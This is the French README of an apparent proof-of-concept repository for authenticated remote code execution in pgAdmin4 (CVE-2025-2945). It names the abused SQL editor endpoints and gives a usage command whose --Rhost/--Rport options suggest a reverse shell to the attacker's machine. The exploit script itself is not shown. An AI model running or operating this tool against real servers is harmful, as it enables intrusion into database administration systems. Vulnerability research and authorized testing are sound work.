
Preuve de concept d'exploitation pour exécution de code à distance authentifiée dans pgAdmin4 (CVE-2025-2945) via abus de l'éditeur SQL. Conçu pour les tests de sécurité autorisés et l'éducation.
Ce dépôt contient un script de preuve de concept créé pour la recherche en sécurité et les tests de pénétration autorisés impliquant la vulnérabilité CVE-2025-2945, affectant certaines versions de pgAdmin4.
Le problème permet à un utilisateur pgAdmin authentifié ayant accès à l'éditeur SQL de déclencher une exécution de code à distance en abusant du flux d'initialisation du panneau Query Tool. Ce PoC démontre la vulnérabilité à des fins uniquement éducatives, d'audit et de défense.
Cet outil est destiné UNIQUEMENT à :
N'utilisez PAS cet outil sur un système sans autorisation explicite. Toute utilisation non autorisée est illégale et contraire à l'éthique. L'auteur n'est pas responsable d'une mauvaise utilisation.
La vulnérabilité provient de défauts de logique dans les points de terminaison d'initialisation de l'éditeur SQL. Lors de l'interaction avec /sqleditor/initialize/ et /sqleditor/panel/, l'application gère mal les données contrôlées par l'utilisateur, permettant finalement à des charges utiles conçues d'exécuter des commandes arbitraires sur le backend.
Le PoC exploite la séquence de points de terminaison suivante :
requestspython3 poc.py \
--target-url <pgadmin-url> \
--username <pgadmin-user> \
--password <pgadmin-pass> \
--db-user <db-username> \
--db-pass <db-password> \
--db-name <database> \
--Rhost <your-ip> \
--Rport <your-port>
(Un exemple complet est déjà fourni dans la section d'aide du script.)
poc.py → Le script de preuve de concept d'exploitation
README.md → Documentation du projet
Les administrateurs devraient :
Auteur : UdayVeer